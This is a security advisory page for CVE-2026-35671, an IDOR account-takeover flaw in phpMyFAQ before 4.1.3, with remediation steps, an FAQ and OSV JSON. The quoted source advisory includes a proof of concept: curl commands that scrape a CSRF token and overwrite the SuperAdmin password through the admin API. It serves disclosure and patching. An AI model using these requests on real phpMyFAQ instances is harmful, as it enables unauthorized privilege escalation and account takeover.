CVE-2026-35671: phpMyFAQ IDOR Account Takeover Vulnerability

HIGH
Advisory Identifier: GHSA-xvp4-phqj-cjr3
CVSS 8.8
CWE-266 CWE-639 CWE-269 CWE-862
Published
Advisory Summary

CVE-2026-35671 is a HIGH (CVSS 8.8) idor account takeover vulnerability (CWE-266: Incorrect Privilege Assignment) affecting phpMyFAQ libraries in the Packagist ecosystem. The issue involves idor account takeover. Remediation is available by upgrading affected packages to version 4.1.3.

CVE-2026-35671 at a Glance

CVE Identifier CVE-2026-35671
GHSA Identifier GHSA-xvp4-phqj-cjr3
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-266: Incorrect Privilege Assignment
Affected Product phpMyFAQ
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-35671

To remediate this vulnerability, upgrade all affected phpMyFAQ dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.1.3
Upgrade thorsten/phpmyfaq to 4.1.3
phpmyfaq/phpmyfaq fixed: 4.1.3
Upgrade phpmyfaq/phpmyfaq to 4.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35671, inspect your project dependencies for phpMyFAQ:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of phpMyFAQ in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-266: Incorrect Privilege Assignment, where a product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor. In phpMyFAQ, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body. ### Details File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password: #[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])] ```php public function overwritePassword(Request $request): JsonResponse { $this->userHasUserPermission(); // Only checks if user has USER_EDIT permission $currentUser = CurrentUser::getCurrentUser($this->configuration); $data = json_decode($request->getContent()); $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // User-controlled! $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS); $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS); $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS); if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) { return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED); } // NO check that $userId belongs to a user the admin should manage // NO check that target user has lower or equal privileges // Can overwrite password for ANY user, including SuperAdmin (userId=1) $currentUser->getUserById((int) $userId, allowBlockedUsers: true); $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType')); if (hash_equals($newPassword, $retypedPassword)) { if (!$currentUser->changePassword($newPassword)) { return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST); } $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId); return $this->json(['success' => ...], Response::HTTP_OK); } } ``` ### Root Causes: 1. No verification that the requesting admin has permission to modify the target user's password 2. No check that the target user has equal or lower privilege level 3. The userId is taken directly from the request body without authorization context 4. No multi-factor confirmation for privilege-escalating password changes ### PoC Prerequisites: Authenticated admin session with USER_EDIT permission Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first). Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages: ```bash curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+' ``` Step 3 - Change SuperAdmin Password: ```bash curl -X PUT -H "Content-Type: application/json" \ -b "PHPSESSID=admin_session" \ -d '{ "userId": 1, "csrf": "admin_csrf_token_value", "newPassword": "NewSuperAdminP@ss123!", "passwordRepeat": "NewSuperAdminP@ss123!" }' \ http://target/admin/api/user/overwrite-password ``` Response: {"success":"The password was successfully changed."} Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ. ### Who is Impacted: - Organizations with multiple admin users where not all should have SuperAdmin access - Any phpMyFAQ instance where privilege separation is configured - Multi-tenant environments where users should only manage their own accounts #### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission #### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

CVE-2026-35671 Affected phpMyFAQ Versions

2 component(s)
Fixed Versions:
4.1.3
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
< 4.1.3
4.1.3
phpmyfaq/phpmyfaq
Packagist
< 4.1.3
4.1.3

References

Frequently Asked Questions

What is CVE-2026-35671?
CVE-2026-35671 is a security vulnerability in phpMyFAQ involving IDOR Account Takeover under CWE-266: Incorrect Privilege Assignment.
Which phpMyFAQ versions are affected?
Affected versions include releases prior to 4.1.3 across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes CVE-2026-35671?
Upgrading to 4.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.3. Upgrade your dependency to 4.1.3 or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.3. Upgrade your dependency to 4.1.3 or later.
What is the CVSS score of CVE-2026-35671?
CVE-2026-35671 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-35671?
CVE-2026-35671 is classified under CWE-266: Incorrect Privilege Assignment (A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.).
How can I check Packagist dependencies for CVE-2026-35671?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xvp4-phqj-cjr3",
  "modified" : "2026-05-28T14:19:40Z",
  "published" : "2026-05-20T15:46:17Z",
  "aliases" : [ "CVE-2026-35671" ],
  "summary" : "phpMyFAQ: IDOR Account Takeover ",
  "details" : "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n    $this->userHasUserPermission();  // Only checks if user has USER_EDIT permission\n    $currentUser = CurrentUser::getCurrentUser($this->configuration);\n    $data = json_decode($request->getContent());\n    $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);  // User-controlled!\n    $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);\n    $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n    $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n    if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {\n        return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);\n    }\n    // NO check that $userId belongs to a user the admin should manage\n    // NO check that target user has lower or equal privileges\n    // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n    $currentUser->getUserById((int) $userId, allowBlockedUsers: true);\n    $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));\n    if (hash_equals($newPassword, $retypedPassword)) {\n        if (!$currentUser->changePassword($newPassword)) {\n            return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);\n        }\n        $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);\n        return $this->json(['success' => ...], Response::HTTP_OK);\n    }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user's password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value=\"\\K[^\"]+'\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -b \"PHPSESSID=admin_session\" \\\n  -d '{\n    \"userId\": 1,\n    \"csrf\": \"admin_csrf_token_value\",\n    \"newPassword\": \"NewSuperAdminP@ss123!\",\n    \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n  }' \\\n  http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-266", "CWE-269", "CWE-639", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-20T15:46:17Z",
    "nvd_published_at" : null
  }
}